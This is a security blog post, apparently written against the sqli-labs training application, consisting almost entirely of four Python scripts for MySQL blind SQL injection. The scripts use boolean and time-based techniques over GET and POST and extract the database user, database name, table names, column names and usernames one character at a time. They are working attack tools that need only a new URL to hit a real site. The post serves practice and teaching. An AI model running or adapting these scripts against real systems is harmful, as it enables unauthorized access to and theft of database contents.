Automne's Shadow.

MySQL Blind Injection Scripts

sqli mysql
2019/03/21 Share

Web

以sqlilabs为例，分别给出mysql数据库的python盲注脚本。

GET型布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

#encoding:utf-8

import requests
import string

payloads = string.letters + string.digits + "~!@#$%^&*()_+"

data = ""

print "Start to retrive data:"
for i in xrange(40):
	for payload in payloads:
		result = "1' and ascii(substring(user(),%s,1))= %s and '1' like '1" % (i,ord(payload))
		#result = "1' and ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))= %s and '1' like '1" % (i,ord(payload))
		#result = "1' and ascii(substring((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1))= %s and '1' like '1" % (i,ord(payload))
		#result = "1' and ascii(substring((select group_concat(username) from users),%s,1))= %s and '1' like '1" % (i,ord(payload))
		leo = requests.get("http://192.168.126.146:8080/Less-8/?id=%s" % result)
		#print leo.url
		resp = leo.content
		print ".",
		if resp.count("You are in") > 0:
			data += payload
			print "\n\n[in progress]", data,
			break
print "\n\n[Done]  output is %s" % data

GET型时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

#encoding:utf-8

import requests
import string

payloads = string.letters + string.digits + "~!@#$%^&*()_+"
data = ""

print "Start to retrive data:"
for i in xrange(16):
	for payload in payloads:
		try:
			result = "1' and (select if(ascii(substr(database(),%s,1)) = %s,sleep(3),NULL)) and '1'='1" % (i, ord(payload))
			leo = requests.get("http://192.168.126.146:8080/Less-9/?id=%s" % result,timeout=1)
			#print leo.url
			print ".",
		except:
			data += payload
			print "\n\n[in progress]", data,
			break
print "\n\n[Done]  output is %s" % data

POST型布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

#encoding:utf-8

import requests
import string

payloads = string.letters + string.digits + "~!@#$%^&*()_+"
#headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = ""

print "Start to retrive data:"
for i in xrange(16):
	for payload in payloads:
		result = "1' or ascii(substring(user(),%s,1))= %s and '1' like '1" % (i,ord(payload))
		data0 = {"passwd":"admin","submit":"Submit","uname":result}
		leo = requests.post("http://192.168.126.146:8080/Less-15/index.php",data0)
		resp = leo.content
		print ".",
		if resp.count("slap") == 0:
			data += payload
			print "\n\n[in progress]", data,
			break
print "\n\n[Done]  output is %s" % data

POST型时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

#encoding:utf-8

import requests
import string
import time

payloads = string.letters + string.digits + "~!@#$%^&*()_+"
#headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = ""

print "Start to retrive data:"
for i in xrange(16):
	for payload in payloads:
		result = "123\") or (select if(ascii(substr(database(),%s,1))=%s,sleep(0.2),NULL))#" % (i,ord(payload))
		data0 = {"passwd":"admin","submit":"Submit","uname":result}
		start = time.time()
		#print start
		requests.post("http://192.168.126.146:8080/Less-16/index.php",data0)
		now = time.time()
		#print now
		print ".",
		if (now-start) > 0.1:
			data += payload
			print "\n\n[in progress]", data,
			break
print "\n\n[Done]  output is %s" % data

原文作者: Automne

原文链接: https://ce-automne.github.io/2019/03/21/MySQL-Blind-Injection-Scripts/

发表日期: March 21st 2019, 10:03:00 pm

版权声明: 本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. GET型布尔盲注
  2. 2. GET型时间盲注
  3. 3. POST型布尔盲注
  4. 4. POST型时间盲注
Total : 62
2021
2020
2019
2018
2017
lfsr z3 python reverse fat git broadcastreceiver sha-1 cbc sqli sqlite golang race condition luks hashcat photorec MAC sso oauth 2.0 padding oracle csp xss abe vdex ransomware frida ndk pwntools hashpumpy sourceleakhacker ecb socat fastjson JdbcRowsetImpl idea servlet volatility inet_aton boneh durfee lcg rabin egcd cipolla's algorithm spi snakeyaml ScriptEngineManager malware codereflect mysql yara plugin deserialization log4j rsa binary javascript prototype pollution nodejs shiro ysoserial primefac rsatool ssl AES tshark gmpy2 RsaCtfTool Hex flask ssti ecc Modular operation WebGoat8 order by tomcat nim game .iso gpg outguess sage google cloud sdk zsteg base58 fermat multi-primes prng rmi jndi Paillier Cryptosystem rsa lsb oracle SQL Injection ping delay xor CAS 单点登录 渗透测试 weblogic xxe reflect 010 editor gcd
Crypto Android Web Forensics Misc